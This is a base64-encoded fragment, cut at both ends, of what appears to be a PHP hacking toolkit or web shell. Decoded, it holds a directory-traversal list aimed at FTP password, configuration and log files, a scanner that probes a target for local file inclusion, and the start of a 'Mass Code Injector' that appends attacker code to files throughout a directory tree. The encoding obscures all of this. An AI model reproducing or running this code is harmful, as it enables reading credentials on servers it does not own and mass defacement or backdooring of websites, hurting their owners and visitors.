QvZnRwaG9zdHMiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwdXNlcnMiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3NiaW4vcHVyZS1jb25maWcucGwiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL3NiaW4vcHVyZS1jb25maWcucGwiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDI3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlLWZ0cGQucGRiIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAzMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmVmdHBkLnBhc3N3ZCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZS1mdHBkL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvZnRwL3B1cmUtZnRwZC8iLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAzMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3BvcnRzL25ldC9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMzQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9wa2dzcmMvbmV0L3B1cmVmdHBkLyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDM1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvY29udHJpYi9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMzYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZS1mdHBkL3B1cmUtZnRwZC5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAzNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbG9ncy9wdXJlLWZ0cGQubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZWZ0cGQubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwLXByb3h5L2Z0cC1wcm94eS5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA0MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHAtcHJveHkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA0MSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHBsb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA0MiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2xvZ3JvdGF0ZS5kL2Z0cCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDQzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvZnRwY2hyb290Ii4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9mdHBob3N0cyIuJGJ5dGUxLiIiKTsNCiAgICAgICAgICAgDQogICAgIA0KICAgICAgICAgICAgICR4ID0gMTsNCiAgICAgICAgICAgICBpZiAoICR0eXBlID09IDEgKSB7DQogICAgICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsNCiAgICAgICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgICAgIHdoaWxlKCRsZmlhY2Nlc3NbJHhdKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpYWNjZXNzWyR4XSk7DQogICAgICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iPGJyICAvPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHgrKzsNCiAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICBpZiAoICR0eXBlID09IDIgKSB7DQogICAgICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsNCiAgICAgICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgICAgIHdoaWxlKCRsZmljb25maWdbJHhdKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpY29uZmlnWyR4XSk7DQogICAgICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iPGJyICAvPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHgrKzsNCiAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICBpZiAoICR0eXBlID09IDMgKSB7DQogICAgICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsNCiAgICAgICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgICAgIHdoaWxlKCRsZmllcnJvclskeF0pIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmllcnJvclskeF0pOw0KICAgICAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjxiciAgLz4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICR4Kys7DQogICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgICAgICB9DQogICAgICAgICAgICAgaWYgKCAkdHlwZSA9PSA0ICkgew0KICAgICAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7DQogICAgICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7DQogICAgICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7DQogICAgICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7DQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB3aGlsZSgkbGZpcGhwaW5pWyR4XSkgew0KICAgICAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXBocGluaVskeF0pOw0KICAgICAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIjxiciAgLz4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICR4Kys7DQogICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgICAgICB9DQogICAgICAgICAgICAgaWYgKCAkdHlwZSA9PSA1ICkgew0KICAgICAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7DQogICAgICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7DQogICAgICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7DQogICAgICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7DQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB3aGlsZSgkbGZpbXlzcWxbJHhdKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpbXlzcWxbJHhdKTsNCiAgICAgICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8YnIgIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkeCsrOw0KICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIGlmICggJHR5cGUgPT0gNiApIHsNCiAgICAgICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOw0KICAgICAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOw0KICAgICAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOw0KICAgICAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOw0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgd2hpbGUoJGxmaWZ0cFskeF0pIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlmdHBbJHhdKTsNCiAgICAgICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWZ0cFskeF0uIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiI8YnIgIC8+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkeCsrOw0KICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgIGlmICggJHR5cGUgPT0gNyApIHsNCiAgICAgICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOw0KICAgICAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOw0KICAgICAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOw0KICAgICAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOw0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7ew0KICAgICAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXByb2NlbnYpOw0KICAgICAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIlwiPiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIjxiciAgLz4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgIHByaW50Rm9vdGVyKCk7DQogICAgfQkJCQkJCQkJCQkJCQ0KZnVuY3Rpb24gYWN0aW9uSW5qZWN0b3IoKXsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5NYXNzIENvZGUgSW5qZWN0b3I8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICANCiAgICBpZihzdHJpc3RyKHBocF91bmFtZSgpLCJXaW5kb3dzIikpIHsgJERTID0gIlxcIjsgfSBlbHNlIGlmKHN0cmlzdHIocGhwX3VuYW1lKCksIkxpbnV4IikpIHsgJERTID0gJy8nOyB9DQogICAgZnVuY3Rpb24gZ2V0X3N0cnVjdHVyZSgkcGF0aCwkZGVwdGgpIHsNCiAgICAgICAgZ2xvYmFsICREUzsNCiAgICAgICAgJHJlcyA9IGFycmF5KCk7DQogICAgICAgIGlmKGluX2FycmF5KDAsICRkZXB0aCkpIHsgJHJlc1tdID0gJHBhdGg7IH0NCiAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSBvciBpbl9hcnJheSgyLCAkZGVwdGgpIG9yIGluX2FycmF5KDMsICRkZXB0aCkpIHsNCiAgICAgICAgICAgICR0bXAxID0gZ2xvYigkcGF0aC4kRFMuJyonLEdMT0JfT05MWURJUik7DQogICAgICAgICAgICBpZihpbl9hcnJheSgxLCAkZGVwdGgpKSB7ICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAxKTsgfQ0KICAgICAgICB9DQogICAgICAgIGlmKGluX2FycmF5KDIsICRkZXB0aCkgb3IgaW5fYXJyYXkoMywgJGRlcHRoKSkgew0KICAgICAgICAgICAgJHRtcDIgPSBhcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCgkdG1wMSBhcyAkdCl7DQogICAgICAgICAgICAgICAgJHRwMiA9IGdsb2IoJHQuJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgICAgICR0bXAyID0gYXJyYXlfbWVyZ2UoJHRtcDIsICR0cDIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoaW5fYXJyYXkoMiwgJGRlcHRoKSkgeyAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMik7IH0NCiAgICAgICAgfQ0KICAgICAgICBpZihpbl9hcnJheSgzLCAkZGVwdGgpKSB7DQogICAgICAgICAgICAkdG1wMyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoKCR0bXAyIGFzICR0KXsNCiAgICAgICAgICAgICAgICAkdHAzID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7DQogICAgICAgICAgICAgICAgJHRtcDMgPSBhcnJheV9tZXJnZSgkdG1wMywgJHRwMyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMyk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXM7DQogICAgfQ0KDQogICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkgJiYgJF9QT1NUWydzdWJtaXQnXT09J0luamVjdCcpIHsNCiAgICAgICAgJG5hbWUgPSAkX1BPU1RbJ25hbWUnXSA/ICRfUE9TVFsnbmFtZSddIDogJyonOw0KICAgICAgICAkdHlwZSA9ICRfUE9TVFsndHlwZSddID8gJF9QT1NUWyd0eXBlJ10gOiAnaHRtbCc7DQogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ10gPyAkX1BPU1RbJ3BhdGgnXSA6IGdldGN3ZCgpOw0KICAgICAgICAkY29kZSA9ICRfUE9TVFsnY29kZSddID8gJF9QT1NUWydjb2RlJ10gOiAnVGVhbSBNYURMZWVUcyAtIEFuT25HdVknOw0KICAgICAgICAkbW9kZSA9ICRfUE9TVFsnbW9kZSddID8gJF9QT1NUWydtb2RlJ10gOiAnYSc7DQogICAgICAgICRkZXB0aCA9IHNpemVvZigkX1BPU1RbJ2RlcHRoJ10pID8gJF9QT1NUWydkZXB0aCddIDogYXJyYXkoJzAnKTsNCiAgICAgICAgJGR0ID0gZ2V0X3N0cnVjdHVyZSgkcGF0aCwkZGVwdGgpOw0KICAgICAgICBmb3JlYWNoICgkZHQgYXMgJGQpIHsNCiAgICAgICAgICAgIGlmKCRtb2RlID09ICdhJykgew0KICAgICAgICAgICAgICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRkLiREUy4kbmFtZS4nLicuJHR5cGUsICRjb2RlLCBGSUxFX0FQUEVORCkpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3Ryb25nPicuJGQuJERTLiRuYW1lLicuJy4kdHlwZS4nPC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOmxpbWU7Ij4gd2FzIGluamVjdGVkPC9zcGFuPjwvZGl2Pic7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkZC4kRFMuJG5hbWUuJy4nLiR0eXBlLCAkY29kZS